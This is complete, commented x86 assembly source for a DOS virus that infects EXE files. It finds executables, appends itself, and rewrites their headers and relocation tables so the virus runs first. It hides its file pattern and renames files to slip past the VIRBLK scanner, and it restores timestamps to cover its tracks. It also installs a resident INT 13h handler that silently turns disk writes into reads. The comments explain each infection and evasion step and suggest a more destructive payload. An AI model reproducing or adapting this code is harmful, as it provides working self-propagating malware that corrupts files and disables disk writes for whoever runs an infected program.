;--------------------------------------------------------------------;
;                                                                    ;
;                  EXE virus, with resident part                     ;
;                                                                    ;
;                   ---- infecting program ----                      ;
;                                                                    ;
;--------------------------------------------------------------------;
  
;--------------------------------------------------------------------;
;                                                                    ;
;    WARNING : it's definitely NOT safe to assemble and execute      ;
;    this code. If anybody has to, I highly reccomend using          ;
;    a diskette and debugger.                                        ;
;                                                                    ;
;--------------------------------------------------------------------;
  
;*********************************************************************
  
;--------------------------------------------------------------------;
;                                                                    ;
; The EXE virus concept is as follows:                               ;
;                                                                    ;
; First, original Disk Transfer Address is preserved to avoid        ;
; changing command-line text. Also initial values of CS, IP, SS, SP  ;
; DS and ES are saved (to be restored on exit from virus code).      ;
;   Virus is to be appended to original code and, of course, has     ;
; to be relocated before it's executed. Thus, first we look for      ;
; an EXE file. Then we have to know if this is in fact an EXE        ;
; (checking for magic 'MZ' signature) and if there is any free space ;
; in relocation table. This is checked by substracting relocation    ;
; table end (i.e. sum of table start and number of relocation items, ;
; multiplied by table entry size) from EXE header size.              ;
;   Smart virus shouldn't infect a file that's already infected.     ;
; So first 4 bytes of code to be executed is compared against        ;
; virus code. If they match one another, no infection takes place.   ;
;   Having found suitable file, we compute its code end and append   ;
; virus at the end of code, writing alignment to last 512-bytes page ;
; boundary if necessary. Original start address is preserved inside  ;
; virus, and CS:IP value in EXE header gets changed, so that virus   ;
; code would be executed first. Number of pages gets changed,        ;
; together with Last Page Size and Number Of Relocation Items.       ;
;   New relocation item address is appended to relocation table,     ;
; pointing to the segment of the far jump in virus (this is the jump ;
; virus uses to return to original code).                            ;
;   Upon returning from virus, all saved registers and DTA are       ;
; restored to reestablish environment state as if no virus existed.  ;
;                                                                    ;
;   Virus also installs resident part, if it is not already present. ;
; This part's job is to replace all disk 'writes' with corresponding ;
; 'reads'. It's rather unharmful, but can easily be replaced with    ;
; more dangerous one (if somebody is really keen to be called ...).  ;
; Instalation can be removed with equal ease, as well.               ;
;                                                                    ;
;   The real trouble with EXEs is that DOS pays a little (if any)    ;
; attention to Last Page Size. Therefore EXE files ofen have this    ;
; zeroed, even if they have some code on the last page. Writing to   ;
; last page can cause system crash while infected file is being      ;
; executed. To solve the problem, one should first test if EXE file  ;
; really ends as the header contents say and move to last page end   ;
; instead of appending any bytes, if possible.                       ;
;                                                                    ;
;   Another problem is infecting EXEs containg debug info.           ;
; It comes in various formats, and often contains vital informations ;
; placed behind code. This info gets destroyed when file becomes     ;
; infected. I see no solution to this problem, so far.               ;
;                                                                    ;
;--------------------------------------------------------------------;
  
;********************************************************************;
  
;--------------------------------------------------------------------;
;                                                                    ;
;                        SEGMENT dummy                               ;
;                                                                    ;
;   Raison d'etre of this segment is to force assembling of          ;
;   the JMP FAR after the execution of virus code.                   ;
;                                                                    ;
;   This segment serves also to make it possible for the infecting   ;
;   program to return to DOS.                                        ;
;                                                                    ;
;--------------------------------------------------------------------;
  
  
    dummy    segment  'dummy'
  
             assume cs: dummy
  
    d_end    label far          ; this is the point virus jumps to
                                ; after executing itself
             mov  ah, 4Ch
             int  21h           ; DOS EXIT function
  
    dummy    ends
  
;--------------------------------------------------------------------;
;                                                                    ;
;                        SEGMENT code                                ;
;                                                                    ;
;   Code for virus (including its resident part).                    ;
;                                                                    ;
;   Executed from label start:. Exits via dummy:d_end.               ;
;                                                                    ;
;--------------------------------------------------------------------;
  
    code     segment  'code'
  
             public   start, jump, old_IP, old_CS, old_DTA,
             public   next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux
             public   last_page, page_count, item_count, header_size, table_start
             public   header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP
             public   not_ok, time, date, attributes, new_name, found_name
             public   restore_and_close, dot, seek_dot, next_letter, install_flag
             public   next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES
             public   resident, resident_size, l1, call_int, install, set_DS
  
             assume   cs : code, ds : code
  
;--------------------------------------------------------------------;
;                                                                    ;
;          Here are symbolic names for memory locations              ;
;                                                                    ;
;--------------------------------------------------------------------;
  
;  First go names for EXE header contents
  
    EXE_sign     equ  word ptr [header]
    last_page    equ  word ptr [header + 2]
    page_count   equ  word ptr [header + 4]
    item_count   equ  word ptr [header + 6]
    header_size  equ  word ptr [header + 8]
    header_SS    equ  word ptr [header + 0Eh]
    header_SP    equ  word ptr [header + 10h]
    header_IP    equ  word ptr [header + 14h]
    header_CS    equ  word ptr [header + 16h]
    table_start  equ  word ptr [header + 18h]
  
;  Now names for address of mother program
  
    old_IP       equ  word ptr [jump + 1]
    old_CS       equ  word ptr [jump + 3]
  
;  Segment to put resident part in, for instance end of 2nd Hercules page
  
   resident_CS   equ  0BFFEh
  
;  And label for the name of the file found by  Find_First and Find_Next
  
    found_name   equ  DTA + 1Eh
  
;  Last is virus length
  
    virus_length equ  offset header
  
;------------ Now starts virus code --------------------------------;

;  First original values of SS, SP, ES, DS are preserved,
;  and new values for this registers are set
  
    start:   mov  cx, ss            ; temporarily save SS in CX
             mov  dx, sp            ; and SP in DX
  
             mov  ax, cs            ; now AX = CODE
             cli                    ; disable hard ints while changing stack
             mov  ss, ax            ; now SS = CODE
             mov  sp, 0FFFFh        ; and SS points to segment end
             sti                    ; hardware interrupts are OK now
  
             push ds                ; preserve DS on stack
             push es                ; same with ES
  
             push cs
             pop  ds                ; set DS to CODE
  
             mov  [old_SS], cx      ; now as DS is CODE, we can store
             mov  [old_SP], dx      ; original SS and SP in memory
  
;  Original DTA is preserved now
  
             mov  ah, 2Fh
             int  21h
             mov  word ptr [old_DTA], bx      ; now ES:BX points to DTA
             mov  word ptr [old_DTA + 2], es  ; save its address in memory
  
;  Call to Get_DTA would have destroyed ES. Now set it
  
             push ds              ; set  ES to CODE
             pop  es
  
;  And now new DTA is established for virus disk actions
  
             mov  dx, offset DTA  ; DS:DX point to new DTA
             mov  ah, 1Ah
             int  21h
  
;  Store original INT_13 vector for use in resident part
  
             mov  ax, 3513h
             int  21h            ; DOS Get_Interrupt_Vector function

             mov  [int_IP], bx   ; now ES:BX holds INT_13 vector
             mov  [int_CS], es   ; store it inside resident part
  
;  Check if resident part already present
  
             mov  ax, es           ; compare can work with AX
  
             cmp  ax, resident_CS  ; check if this is resident_CS
             jnz  install          ; no, so install
  
             cmp  bx, 0            ; is offset 0 ?
             jnz  install          ; no, so install
  
;  Resident part found, do not install
  
             mov  [install_flag], 0 ; signal 'no installing'
  
             jmp  short  set_ES     ; and omit copying code
  
;  Now resident part is moved to its place in memory
  
install:     mov  ax, resident_CS
             mov  es, ax              ; ES = segment for resident part
             xor  di, di              ; DI = 0, resident starts from offset 0
             mov  si, offset resident ; SI = offset in DS for resident part
             mov  cx, resident_size   ; CX = size of resident part
  
             cld                      ; set auto increment
             rep  movsb               ; copy resident part from DS:SI to ES:DI
  
             mov  [install_flag], 1   ; signal 'instal vector'
  
;  Reestablish destroyed ES to CODE
  
  set_ES:    push ds
             pop  es
  
;  Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery
  
             mov  si, offset file_name   ; name pattern starts there
             mov  cx, 5                  ; and is 5 bytes long
  
next_letter: inc  byte ptr [si]          ; decode by incrementing by one
             inc  si
             loop next_letter            ; decode all 5 bytes
  
;  Find an EXE file
  
             mov  dx, offset file_name   ; DS:DX points to '*.EXE'
             mov  cx, 20h                ; search for read-only files too
  
             mov  ah, 4Eh                ; DOS Find_First function
             int  21h                    ; now DTA gets filled with info
  
             jnc  check                  ; no carry means file found
                                         ; jump to check if to infect file
  
             jmp  exit                   ; no EXE file - nothing to do
  
;  Find next EXE file, if necessary
  
    next:    mov  ah, 4Fh                ;DOS Find_Next function
             int  21h
  
             jnc  check                  ; see jumps after Find_First
             jmp  exit                   ; for explanation
  
;  Check if file should and can be infected
  
;  First of all, get file attributes
  
    check:   mov  dx, offset found_name   ; DS:DX points to found file name
  
             mov  ax, 4300h               ; DOS Get_File_Attributes function
             int  21h                     ; attributes returned in CX
  
             mov  [attributes], cx        ; preserve them in memory
  
;  Then change file attributes to 'neutral'
  
             mov  dx, offset found_name   ; DS:DX points to found file name
             xor  cx, cx                  ; CX = 0 - means no attributes set
  
             mov  ax, 4301h               ; DOS Set_File_Attributes function
             int  21h                     ; attributes to be set in CX
  
;  To avoid being spotted by VIRBLK, rename ????????.EXE to ???????.
  
             mov  si, offset found_name   ; DS:DX points to found file name
             mov  di, offset new_name     ; ES:DI points to new name
  
             cld                          ; set auto increment
  
;  Copy old name to new name until dot found
  
  seek_dot:  lodsb                        ; get character at DS:SI
             cmp  al, '.'                 ; check if it is a dot
             stosb                        ; copy it anyway to ES:DI
  
             jz   dot                     ; dot found, end of copying
  
             loop seek_dot                ; if no dot, copy next character
  
;  DOS requires ASCIIZ strings, so append a byte of 0 to new name
  
       dot:  xor  al, al                  ; AL = 0
             stosb                        ; store 0 to byte at ES:DI
  
;  Now rename can be performed
  
             mov  dx, offset found_name   ; DS:DX points to old name
             mov  di, offset new_name     ; ES:DI points to new name
  
             mov  ah, 56h                 ; DOS Rename_File function
             int  21h
  
;  It is safe to open file now
  
             mov  dx, offset new_name     ; DS:DX points to file name
  
             mov  ax, 3D02h               ; DOS Open_File_Handle fuction
             int  21h                     ; open file for reading and writing
  
             jc   next                    ; carry set means for some reason
                                          ; operation failed
                                          ; try to find next file
  
;  Preserve handle for just open file in BX register
  
             mov  bx, ax                  ; all DOS calls require handle in BX
  
;  Now store original file time and date, to be restored on closing the file
  
             mov  ax, 5700h               ; DOS Get_File_Time_Date function
             int  21h                     ; time returned in CX, date in DX
  
             mov  [time], cx              ; store time in memory
             mov  [date], dx              ; same with date
  
;  Read EXE header to memory
  
             mov  dx, offset header       ; DS:DX = place to read header to
             mov  cx, 1Ah                 ; header is 1Ah bytes long
  
             mov  ah, 3Fh                 ; DOS Read_Handle function
             int  21h
  
;  Check if it is a real EXE, not just EXE-named file
  
 check_EXE:  cmp  EXE_sign, 5A4Dh         ; first two bytes of header should
                                          ; contain 'MZ' characters
  
	     jne  not_ok                  ; if not, don't proceed with file
  
;  It is EXE, check if it is already infected
;  by comparing code start with itself
  
;  Compute where code in file starts
  
             mov  ax, [header_CS]         ; get start CS for file
             add  ax, [header_size]       ; add header size
  
             mov  cx, 16                  ; above were in 16 bytes units
             mul  cx                      ; so multiply by 16
                                          ; DX|AX holds result
  
             add  ax, [header_IP]         ; add for IP
             adc  dx, 0                   ; propagate carry if necessasry
  
;  Now DX|AX holds file offset for code start, move there
  
             mov  cx, dx                  ; set registers for DOS call
             mov  dx, ax
  
             mov  ax, 4200h               ; DOS Move_File_Ptr function
             int  21h                     ; move relatively to start
  
;  Read first four bytes of code
  
             mov  dx, offset aux          ; DS:DX = place to read code into
             mov  cx, 4                   ; CX = number of bytes to read
  
             mov  ah, 3Fh                 ; DOS Read_Handle function
             int  21h
  
;  Compare them with itself
  
             mov  di, offset aux          ; ES:DI points to code from file
             mov  si, offset start        ; DS:SI points to itself start
             mov  cx, 2                   ; CX = number of words to compare
             cld                          ; set auto increment
  
             repe cmpsw                   ; compare while equal
  
             je   not_ok                  ; equal = infected, don't proceed
  
;  Check if there is space in relocation table to put one more item
  
;  Calculate where Relocation_Table ends
  
             mov  ax, [item_count]        ; get number of Relocation Items
             inc  ax                      ; add for new one
             mov  cx, 4                   ; each one is 4 bytes long
             mul  cx                      ; so multiply by 4
                                          ; DX|AX holds result
  
             add  ax, [table_start]       ; add offset of Relocation_Table
             adc  dx, 0                   ; process carry
  
;  Now DX|AX holds file offset for table end, store it temporarily in DI|SI
  
             mov  di, dx                  ; preserve Relocation_Table offset
             mov  si, ax
  
;  Calculate where code starts (in file)
  
             mov  ax, [header_size]       ; get header size for this EXE
             mov  cx, 10h                 ; as it is in 16 byte units,
             mul  cx                      ; multiply by 16
                                          ; DX|AX holds result
  
;  See if there is free space for relocation item
  
             sub  ax, si                  ; substract Relocation_Table end
             sbb  dx, di
  
             jae  ok                      ; Relocation_Table end not less
                                          ; then code start, so there IS room
  
;  If somehow this file is not to be infected, restore it's original state
  
    not_ok:  call restore_and_close
  
             jmp  next          ; nevertheless, try to find infectable one
  
;  File is to be infected now
  
;  First adjust file offset for new relocation item
  
    ok:      sub  si, 4                   ; new item starts 4 bytes
             sbb  di, 0                   ; before Relocation_Table end
  
;  Then preserve temporarily address of the mother code
  
             mov  ax, [old_CS]           ; preserve jump address via AX
             mov  [aux_CS], ax           ; in memory
             mov  ax, [old_IP]
             mov  [aux_IP], ax
  
;  Form inside itself a jump to new mother start
  
             mov  ax, [header_IP]        ; store new mother CS:IP as jump
             mov  [old_IP], ax           ; do it via AX
             mov  ax, [header_CS]
             mov  [old_CS], ax
  
;  Calculate last page alignment
  
             mov  cx, [last_page]         ; CX = number of bytes in last page
             mov  ax, 200h                ; AX = page size (page is 512 bytes)
  
             sub  ax, cx                  ; CX = alignment to page boundary
  
             mov  bp, ax                  ; preserve alignment in BP
  
; Calculate new CS:IP values to execute virus instead of mother
  
             mov  ax, [page_count]        ; get number of pages in new mother
             mov  cx, 20h                 ; multiply by 32 to convert to
             mul  cx                      ; 16 bytes units
  
             sub  ax, [header_size]       ; decrease by header size
  
;  Modify header as necessary
  
             mov  [header_CS], ax         ; AX holds CS for virus
             xor  ax, ax                  ; now zero AX
             mov  [header_IP], ax         ; as IP for virus is 0
  
             add  [page_count], 2         ; reserve space for virus
  
             inc  [item_count]            ; there'll be one more item
  
             mov  [last_page], offset header   ; last page will be as long
                                               ; as virus itself
             and  [last_page], 1FFh            ; modulo 512, of course
  
;  Move to file start
  
             xor  cx, cx                 ; start means offset 0
             xor  dx, dx
  
             mov  ax, 4200h              ; DOS Move_File_Ptr function
             int  21h                    ; move relatively to start
  
;  Write new header
  
             mov  dx, offset header      ; DS:DX points to new header
             mov  cx, 1Ah                ; which is still 1A bytes long
  
             mov  ah, 40h                ; DOS Write_Handle function
             int  21h
  
;  Move to new Relocation Item position
  
             mov  cx, di                 ; get stored position from DI|SI
             mov  dx, si
  
             mov  ax, 4200h              ; DOS Move_File_Ptr function
             int  21h                    ; move relatively to start
  
;  Write new relocation item
  
             mov  [header_IP], offset old_CS ; new Relocation Item offset
                                             ; is jump to new mother code
  
             mov  dx, offset header_IP       ; DS:DX = new relocation item
             mov  cx, 4                      ; exactly 4 bytes long
  
             mov  ah, 40h                 ; DOS Write_Handle function
             int  21h
  
;  Calculate file offset for new mother code end
  
             mov  ax, [header_CS]      ; get mother code lenght
             add  ax, [header_size]    ; add header size
             mov  cx, 10h              ; it's in 16 bytes units
             mul  cx                   ; so multiply by 16
  
             sub  ax, bp               ; last page is not full
             sbb  dx, 0                ; so move back appropirately
  
;  Move file ptr to mother code end
  
             mov  cx, dx               ; DX|AX = file offset to code end
             mov  dx, ax               ; set CX|DX for DOS call
  
             mov  ax, 4200h            ; DOS Move_File_Ptr function
             int  21h                  ; move relatively to start
  
;  Write alignement (no matter what, only number is important)
  
             mov  cx, bp               ; get alignement amount
  
             mov  ah, 40h              ; DOS Write_Handle function
             int  21h                  ; write CX bytes
  
;  Now prepare to append itself to EXE file
  
;  First encode EXE name patter anew
  
             mov  si, offset file_name   ; DS:SI points to name pattern
             mov  cx, 5                  ; it is 5 characters long
  
next_lttr:   dec  byte ptr [si]          ; encode by decrement
             inc  si
             loop next_lttr              ; encode all 5 characters
  
;  All ready, append itself now
  
             xor  dx, dx                 ; DX = 0, start offset for virus code
             mov  cx, virus_length       ; CX = number of bytes to write
  
             mov  ah, 40h                ; DOS Write_Handle function
             int  21h
  
;  No further action involving file will be taken, so restore it's state
  
             call restore_and_close      ; restore date and time, close file
  
;  Restore jump to this mother code
  
             mov  ax, [aux_CS]         ; restore jump addres via AX
             mov  [old_CS], ax
             mov  ax, [aux_IP]
             mov  [old_IP], ax
  
;  All done with infecting, prepare to execute mother
  
;  Restore original DTA
  
             push ds                   ; preserve DS (now DS = CODE)
  
    exit:    lds  dx, old_DTA          ; get original DTA address to DS:DX
  
             mov  ah, 1Ah              ; DOS Set_DTA function
             int  21h
  
;  Check if install new INT_13 vector
  
             cmp  [install_flag], 0    ; 0 means no installing
  
             jz   set_DS               ; omit installing
  
;  Install  resident part
  
             mov  ax, resident_CS      ; load CS for resident to DS (via AX)
             mov  ds, ax
             xor  dx, dx               ; DS:DX = address of resident part
  
             mov  ax, 2513h            ; DOS Set_Interrupt_Vector function
             int  21h                  ; set vector for INT_13
  
set_DS:      pop  ds                   ; restore DS to CODE
  
             mov  bx, [old_SS]         ; BX = original SS
             mov  cx, [old_SP]         ; CX = original SP
  
             pop  es                   ; restore original DS and ES
             pop  ds
  
             cli                       ; disable hardware interrupts
             mov  sp, cx               ; while restoring original SS:SP
             mov  ss, bx
             sti                       ; enable hardware interrupts
  
;  Virus has done all its job, now let mother do its own
  
    jump:    jmp  dummy:d_end          ; jump to original code
  
  
;-----------  here is the one and only procedure -------------------;
  
    restore_and_close  proc  near
  
;  Restore original file time and date
  
             mov  cx, [time]           ; get saved time
             mov  dx, [date]           ; get saved date
  
             mov  ax, 5701h               ; DOS Set_File_Time_Date function
             int  21h                     ; time set as CX, date as DX
  
;  Close file
  
             mov  ah, 3Eh              ; DOS Close_File function
             int  21h
  
;  Restore original name
  
             mov  dx, offset new_name    ; DS:DX points to new name
             mov  di, offset found_name  ; ES:DI points to original name
  
             mov  ah, 56h                 ; DOS Rename_File function
             int  21h
  
; Restore original file attributes
  
             mov  dx, offset found_name   ; restore attributes
             mov  cx, [attributes]
  
             mov  ax, 4301h               ; DOS Set_File_Attributes function
             int  21h                     ; attributes set as CX
  
             ret
  
    restore_and_close  endp
  
  
;------------ and here go the resident part of the virus -------------;
  
resident:    pushf                   ; save flags
  
             cmp  ah, 3              ; is it Disk_Write_1 ?
             jnz l1                  ; no, check Disk_Write_2
  
             mov  ah, 2              ; yes, convert to Disk_Read_1
             jmp  short  call_int    ; and exit resident
  
      l1:    cmp  ah, 0Bh            ; is it Disk_Write_2 ?
             jnz  call_int           ; no, exit resident
  
             mov  ah, 0Ah            ; yes, convert to Disk_Read_2
  
call_int:    popf                    ; restore flags
  
  
;  Next 5 bytes form long jump to original INT_13 handler
  
             db   0EAh               ; means JMP FAR
  
int_IP       dw   0                  ; and here the address to jump to
int_CS       dw   0
  
resident_size  equ  $ - resident
  
;-------- now data for virus, just encoded file name pattern -------;
  
    file_name  db  ')-DWD', 0
  
;-------------------------------------------------------------------;
;                                                                   ;
;         Here VIRUS ends. The rest are purely placeholders         ;
;                                                                   ;
;-------------------------------------------------------------------;
  
;*******************************************************************;

    header   dw   13 dup (0)

    old_SS   dw   0
    old_SP   dw   0

    aux_CS   dw   0
    aux_IP   dw   0

    old_DTA  dd   0

    time     dw   0
    date     dw   0

    attributes  dw  0

    install_flag db 0

    new_name    db  9 dup (0)

    DTA      dw   2Ch dup (0)

    aux      dw   2 dup (0)

    code     ends

             end  start